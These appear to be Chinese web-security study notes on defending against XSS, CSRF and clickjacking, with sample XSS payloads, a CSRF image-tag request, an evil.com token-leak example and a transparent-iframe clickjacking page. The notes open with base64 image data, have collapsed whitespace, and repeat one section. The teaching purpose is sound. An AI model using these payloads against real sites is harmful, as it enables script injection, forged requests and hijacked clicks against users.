qbtzMbZT58ekI31NVKt9lXlHKldvEqad/bmaitnRTTTJMsmr8lPGJ/9pb0bauXOW7gWi2LVm2TA5OyKjeftbBo5clEzTYu9v1HfVt8iHbpP/23J8ox7gLL1FIl2pAgAAAAAAAAAAlMwUh6imRuEzciDQlNtn9Lr0bqvTfamZG7DwSIGjsrK1YMNukaqCtjmS1PmvAyXVS11LCFqgd8GBSl/8KhB6VyQkvS649YR/wEAAAAAAAAAAEphikNUh8/a3MBzSXCI/uyIDHZvkzpVy9ANMS19aSaiakV2Sr3/947palm6cY98Elcp9PbncuLECcezMnDjG/nmxoB82LFSqtXfltMsPHtKWtIEeeXjBaGp1EoprSLvqAzuVrWRl8juwok7AAAAAAAAAABAQaYRJXbcuCZlKQWdMiAm3n9Xd57Tg8o5JiuWSOZT0ekrDjMrcm61Gte7nxWXFqLld3e/1vWpy740LJ33/74EpJp6ql9RxBXhJ3rlzhuN3ehrdpvwlhdC3T0nbihpJp2tkS1ZxwwAAAAAAAAAAECEaRCiitw91SLVqbQ09uiI884paampkTWZUmqfxpP94Zr0dpLD1BdBuX9rVtlq7KpXmpr691BjnZ2D5aDtkB6VC1KBP7egW50yfN1d7gUN0Dw95AYKPDMtC1QWrcflUb5P1SukL49qi8vDEjp6PfUgxAAAAAAAAAAAAw7QIUVVt1IMNc2Tpm5JGbN9RnPjqLw0f77s8IaLh1hGZfDwxkC3DTlVsNp3i0HAAAAAAAAAABTzzQJUeHZlTeWNAzrp90n4sX/3jB5riAwAAAAAAAADAtIEQFQAAAAAAAAAAACABQlQAAAAAAAAAAACABAhRAQAAAAAAAAAAABIgRAUAAAAAAAAAAABIgBAVAAAAAAAAAAAAIAFCVAAAAAAAAAAAAIAECFEBAAAAAAAAAAAAEiBEBQAAAAAAAAAAAEiAEBUAAAAAAAAAAAAgAUJUAAAAAAAAAAAAgATcEBURERERERERERER7f6vH3/8URARERERERERERHRLiEqIiIiIiIiIiIiYoKEqIiIiIiIiIiIiIgJEqIiIiIiIiIiIiIiJkiIioiIiIiIiIiIiBjrj/L/AwZmylFODmWuAAAAAElFTkSuQmCC)]
htmlentities—将字符转换为HTML转义字符,本函数各方面都和htmlspecialchars()一样,除了htmlentities()会转换所有具有HTML实体的字符。
JavaScript的编码方式可以使用JavaScriptEncode
JavaScriptEncode与HtmlEncode的编码方式不同,它需要使用反斜杠""对特殊字符进行转义。
在对抗XSS时,还要求输出的变量必须在引号内部,以避免造成安全问题。比较下面两种写法:
varx=escapeJavascript($evil);vary='"'escapeJavascript($evil)'"';12如果escapeJavascript()函数只转义了几个危险字符,比如’"<>\&#等,那么上面的两行代码输出后可能会变成:
varx=1;alert(2);vary="1;alert(2)";12第一行执行了额外的代码了;第二行则是安全的。
正确地防御XSS
XSS的本质还是一种"HTML注入",用户的数据被当成了HTML代码一部分来执行,从而混淆了原本的语义,产生了新的语义。
1)、在HTML标签中输出
<div>$var</div><ahref=#>$var</a>12所有在标签中输出的变量,如果未做任何处理,都能导致直接产生XSS。
在这种场景下,XSS的利用方式一般是构造一个
<div><script>alert(/xss/)</script></div>或者<ahref=#><imgsrc=#onerror=alert(1)/></a>123防御方法是对变量使用HtmlEncode
(2)、在HTML属性中输出
<divid="abc"name="$var"></div>1与在HTML标签中输出类似,可能的攻击方式是:
<divid="abc"name=""><script>alert(/xss/)</script><""></div>1防御方法也是采用HtmlEncode
在OWASPESAPI中推荐了一种更严格的HtmlEncode——除了字母、数字外,其他所有的特殊字符都被编码成HTMLEntities
Stringsafe=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input"));1这种严格的编码方式,可以保证不会出现任何安全问题。
(3)、在
在
<script>varx="$var";</script>123攻击者需要先闭合引号才能实施XSS攻击:
<script>varx="";alert(/xss/);//";</script>123防御时使用JavascriptEncode
(4)、在事件中输出
在事件中输出和在
<ahref=#onclick="funcA('$var')">test</a>1可能的攻击方法:
<ahref=#onclick="funcA('');alert(/xss/);//')">test</a>1在防御时需要使用JavascriptEncode
(5)、在CSS中输出
在CSS和style、styleattribute中形成XSS的方式非常多元化,参考下面几个XSS的例子:
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE><XSSSTYLE="behavior:url(xss.htc);"><STYLE>li{list-style-image:url("javascript:alert('xss')");}>/STYLE><UL><LI>XSS<DIVSTYLE="background-image:url(javascript:alert('XSS'))"><DIVSTYLE="width:expression(alert('XSS'));">123456所以,一般来说,尽可能禁止用户可控制的变量在"
Stringsafe=ESAPI.encoder().encodeForCSS(request.getParameter("input"));1其实现原理类似于ESAPI.encoder().encoderForJavaScript()函数,除了字母、数字外的所有字符都被编码成十六进制形式"\uHH"
(6)、在地址中输出
一般来说,在URL的path(路径)或者search(参数)中输出,使用URLEncode即可。
但是还有一种情况,就是整个URL能够被用户完全控制。这时URL的protocal和Host部分是不能够使用URLEncode的,否则会改变URL的语义。
一个URL的组成如下:
[protocal][host][path][search][hash]
例如:
https://www.evil.com/a/b/c/test?abc=123#ssss[protocal]="https://"[host]="www.evil.com"[path]="/a/b/c/test"[search]="?abc=123"[hash]="#ssss"123456在protocal与host中,如果使用严格的URLEncode函数,则会把"?/“、”."等都编码掉。
对于如下的输出方式:
<ahref="https://blog.csdn.net/flowerqt/article/details/$var">test</a>
攻击者可能会构造伪协议实施攻击:
<ahref="javascript:alert(1);">test</a>1除了"javascript"作为伪协议可以执行代码外,还有"vbscript"、“dataURI”等伪协议可能导致脚本执行。
“dataURI”这个伪协议是Mozilla所支持的,能够将一段代码写在RUL里。如下例:
<ahref="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">test</a>1这段代码的意思是,以test/html的格式加载编码为base64的数据,加载完成后实际上的:
点击标签的链接,将导致执行脚本。
由此可见,如果用户能够完全控制URL,则可以执行脚本的方式有很多。
富文本
有些时候,网站需要允许用户提交一些自定义的HTML代码,称之为“富文本”。
过滤富文本时,“事件”应该被严格禁止,因为“富文本”的展示要求里不应该包含“事件”这种动态效果。而一些危险的标签,比如<iframe>、<script>、<base>、<form>
等,也是应该严格禁止的。
在标签的选择上,应该使用白名单,避免使用黑名单。
防御DOMBasedXSS
跨站点请求伪造CSRF
构建一个地址,比如说是删除某个博客网站博客的链接,然后诱使已经登录过该网站的用户点击恶意链接,可能会导致用户通过自己的手将曾经发布在该网站的博客在不知情的情况下删除了。这种构建恶意链接,假借受害者的手造成损失的攻击方式就叫CSRF-跨站点请求伪造。
浏览器cookie策略
cookie分类
cookie根据有无设置过期时间(expire)分为两种,没有设置过期时间的为SessionCookie(会话cookie),这种cookie保存在内存空间中,在浏览器进程的生命周期中都有效,但是一关闭浏览器就被抹除。另外一种设置过期时间的叫做third-partyCookie,也称之为本地cookie,保存在本地,在过期时间内都可以使用。
CSRF实现原理
一般用户的操作都需要登录以后才能进行,csrf就是利用用户的登录cookie
比如让用户点击链接黑客的网站,黑客在网站中加上一个图片链接,该链接实际是向博客网站发送一个删除请求:
恶意网站<html><p>这是黑客诱导客户访问的恶意网站地址</p><imgsrc="http://csdn.com?delete=10"></html>123456789要实现这个还需要用到用户登录csdn后的cookie,img、iframe之类的标签不受同源策略的影响,所以当向csdn发送请求时,会将csdn相关的cookie都一并提交上去,这样csdn验证cookie后误认为是用户在操作,实际上用户是在无意识下删除了自己的文章。
老版的ie,safari是禁止img、iframe标签请求时发送cookie的,但是最新的firefox以及chrome等主流浏览器都是允许的。
对于老版的ie等是允许发送会话cookie的,如果想发送本地cookie,需要在网站返回给浏览器HTTP头中含有P3P,这样下一次访问网站时将允许发送本地cookie。
P3P头的副作用
P3PHeader是W3C制定的一项关于隐私的标准,全称ThePlatformforPrivacyPreferences,主要用于类似广告等需要跨域访问的页面。
如果网站返回给浏览器的HTTP头中含有P3P头,将允许浏览器发送第三方包。
P3P头的介入使得img、iframe之类的标签在IE中不再拦截第三方cookie的发送,P3P头只需要有网站设置一次,之后的请求都会遵循此策略
P3P头设置之后,对于Cookie的影响将扩大到整个域中的所有页面,因为Cookie是以域和path位单位的,这并不符合“最小权限”原则。
P3P头目前应用广泛,所以不能依赖于浏览器对Cookie的拦截策略
GETPOST
大多数CSRF攻击发起时,使用的HTML标签是<img>、<iframe>、<script>
等带“src”属性的标签,这类标签只能发起一次GET请求,而不能发起POST请求。因此很多开发者都认为只要把重要的操作改成只允许POST请求
- 服务器端未对请求方法进行限制:使用GET获取表单的提交地址
构造一个GET请求:
http://host/register?username=test&password=passwd1- 服务器端限制POST:在一个页面中构造号一个form表单,然后使用JavaScript自动提交这个表单
CSRF防御
验证码
CSRF攻击的过程,往往是在用户不知情的情况下构造了网络请求。而验证码,则强制用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,验证码能够很好的遏制CSRF攻击
缺陷:不能给所有操作都加验证码
RefererCheck
HTTP首部字段Refer会告知服务器请求的原始URI。RefererCheck常见的应用就是“防止图片盗链”,也可以被用于检查请求是否来自合法的“源”
常见的互联网应用,页面与页面之间都具有一定的逻辑关系,这就使得每个正常请求的Referer具有一定的规律。
“论坛发帖”:必然先登录再访问发帖页面
在提交“发帖”的表单时,Referer的值必然是发帖表单所在的页面。如果Referer的值不少这个页面,甚至不是发帖网站的域,则极有可能是CSRF攻击。
缺陷:服务器并非什么时候都能取到Referer
用户出于隐私保护的考虑,限制了Referer的发送;从HTTPS跳转到HTTP,出于安全的考虑,浏览器也不会发送Referer。
AntiCSRFToken
CSRF的本质
重要操作的所有参数都是可以被攻击者猜测到的。攻击者只能预测出URL的所有参数与参数值,才能成功构造一个伪造的请求
解决方案:把参数加密,或者使用一些随机数,从而让攻击者无法猜测到参数值。
删除操作的URL
http://host/path/delete?username=abc&item=121
usename参数改成哈希值
http://host/path/delete?username=md5(saltabc)&item=1231缺陷:加密或混淆后的URL将变得非常难读;如果加密的参数每次都改变,则某些URL将无法再被用户收藏;普通的参数如果也被加密或哈希,将会给数据分析工作带来很大的困扰,因为数据分析工作常常需要用到参数的明文。
AntiCSRFToken。
保持原参数不变,新增一个参数Token:
http://host/path/delete?username=abc&item=123&token=[random(seed)]1Token需要足够随机,必须使用足够安全的随机数生成算法,或者采用真随机数生成器。Token为用户与服务器所共同持有,不能被第三者知晓。在实际应用中,Token可以放在用户的Session中,或者浏览器的Cookie中
Token需要同时放在表单和Session中。在提交请求时,服务器只需要验证表单中的Token,与用户Session(或Cookie)中的Token是否一致,如果一致,则认为是合法请求;如果不一致,或者有一个为空,则请求不合法,可能发生了CSRF攻击。
token使用原则
Token的生成一定要足够随机,需要使用安全的随机数生成器生成Token。
Token的目的不是为了防止重复提交。所以为了使用方便,可以允许在一个用户的有效生命周期内,在Token消耗掉前都使用同一个Token。但是如果用户已经提交了表单,则这个Token已经消耗掉,应该再次重新生成一个新的Token。
生成多个有效的Token,以解决多页面共存的场景。
注意Token的保密性,尽量把Token放在表单中,把敏感操作由GET改为POST,以form表单(或者AJAX)的形式提交,可以避免Token泄露。
Token如果出现在某个页面的URL中,则可能会通过Referer的方式泄露
http://host/path/manage?username=abc&token=[random]1
如果这个manage页面包含了一张攻击者能指定地址的图片:
<imgsrc="http://evil.com/notexist"/>1则”http://host/path/manage?username=abc&token=[random]"会作为HTTP请求的Referer发送到eveil.com的服务器上,从而导致Token泄露。
点击劫持clickjacking
简介
点击劫持(ClickJacking)是一种视觉上的欺骗手段,一是攻击者使用一个透明的iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的iframe页面;二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义。
核心在于使用了标签中的透明属性,他通过在网页的可见输入控件上覆盖一个不可见的框,使得用户误以为在操作可见控件,而实际上用户的操作行为被其不可见的框所劫持,执行不可见框中的恶意代码,达到窃取信息,控制会话,植入木马等目的。
**拖放劫持:**将劫持模式从单纯的鼠标点击拓展到了鼠标拖放行为(复制粘贴,小游戏)。
最主要的是,由于拖放操作不受浏览器“同源策略“影响,用户可以把一个域的内容拖放到另一个不同的域,由此攻击者可能通过劫持某个页面的拖放操作实现对其他页面链接的窃取,从而获得sessionkey,token,password等敏感信息,甚至能将浏览器中的页面内容拖进文本编辑器,查看源代码。
触屏劫持:通过将一个不可见的iframe覆盖到当前网页上就可以劫持用户的触屏操作。由于手机屏幕范围有限,手机浏览器为了节省空间把地址栏隐藏起来,因此在手机上的视觉欺骗更容易实施。
技术实现
攻击者实施攻击的一般步骤是:
- 黑客创建一个网页利用iframe包含目标网站;
2)隐藏目标网站,使用户无法察觉到目标网站存在;
3)构造网页,诱骗用户点击特定按钮(图1中的PLAY!按钮); - 用户在不知情的情况下点击按钮,触发执行恶意网页的命令。
iframe透明
在http://www.a.com/test.html页面中插入一个指向目标网站的iframe
<!DOCTYPEhtml><html><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><head><title>点击劫持</title><style>iframe{width:1440px;height:900px;position:absolute;top:-0px;left:-0px;z-index:2;-moz-opacity:0;opacity:0;filter:alpha(opacity=0);}button{position:absolute;top:270px;left:1150px;z-index:1;width:90px;height:40px;}</style></head><body><button>login</button><imgsrc="http://pic1.win4000.com/wallpaper/2018-03-19/5aaf2bf0122d2.jpg"><iframesrc="http://i.youku.com/u/UMjA0NTg4Njcy"scrolling="no"></iframe></body></html>123456789101112131415161718192021222324252627282930313233opacity:0.5;数值从0到1,数值越小透明度越高,反之越明显。
z-index:1;数值越高越靠近用户,高数值控件在低数值控件前。
当用户点击clickme,实际点击的是login
图片覆盖攻击XSIO
调整图片的style–>图片能够覆盖指定的任意位置
头像图片被覆盖到logo处,点击图片,会连接到其他网站
防御
禁止跨域的iframe
framebusting
写一段js,禁止iframe嵌套,如果检测到网页被非法网页载入,就执行自动跳转功能
常用FrameBusting
if(top!=self)if(top.location!=self.location)if(top.location!=location)if(parent.frames.length>0)if(window!=top)if(window.top!==window.self)if(window.self!=window.top)if(parent&&parent!=window)if(parent&&parent.frames&&parent.frames.length>0)if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))top.location=self.locationtop.location.href=document.location.hreftop.location.href=self.location.hreftop.location.replace(self.location)top.location.href=window.location.hreftop.location.replace(document.location)top.location.href=window.location.hreftop.location.href="URL"document.write()top.location=location1234567891011121314151617181920缺陷:如果用户浏览器禁用JavaScript脚本,那么FrameBusting代码也无法正常运行;针对parent.location,可以嵌套多个iframe绕过
X-FRAME-OPTIONS
该机制有两个选项:DENY和SAMEORIGIN。DENY表示任何网页都不能使用iframe载入该网页,SAMEORIGIN表示符合同源策略的网页可以使用iframe载入该网页。除了Chrome和safari以外,还支持第三个参数Allow-From(白名单限制)。如果浏览器使用了这个安全机制,在网站发现可疑行为时,会提示用户正在浏览网页存在安全隐患,并建议用户在新窗口中打开。这样攻击者就无法通过iframe隐藏目标的网页。
HTML5安全
08559\AppData\Roaming\Typora\typora-user-images\image-20211020103728466.png"alt=“image-20211020103728466”style=“zoom:80%;”/>
头像图片被覆盖到logo处,点击图片,会连接到其他网站
防御
禁止跨域的iframe
framebusting
写一段js,禁止iframe嵌套,如果检测到网页被非法网页载入,就执行自动跳转功能
常用FrameBusting
if(top!=self)if(top.location!=self.location)if(top.location!=location)if(parent.frames.length>0)if(window!=top)if(window.top!==window.self)if(window.self!=window.top)if(parent&&parent!=window)if(parent&&parent.frames&&parent.frames.length>0)if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))top.location=self.locationtop.location.href=document.location.hreftop.location.href=self.location.hreftop.location.replace(self.location)top.location.href=window.location.hreftop.location.replace(document.location)top.location.href=window.location.hreftop.location.href="URL"document.write()top.location=location1234567891011121314151617181920缺陷:如果用户浏览器禁用JavaScript脚本,那么FrameBusting代码也无法正常运行;针对parent.location,可以嵌套多个iframe绕过
X-FRAME-OPTIONS
该机制有两个选项:DENY和SAMEORIGIN。DENY表示任何网页都不能使用iframe载入该网页,SAMEORIGIN表示符合同源策略的网页可以使用iframe载入该网页。除了Chrome和safari以外,还支持第三个参数Allow-From(白名单限制)。如果浏览器使用了这个安全机制,在网站发现可疑行为时,会提示用户正在浏览网页存在安全隐患,并建议用户在新窗口中打开。这样攻击者就无法通过iframe隐藏目标的网页。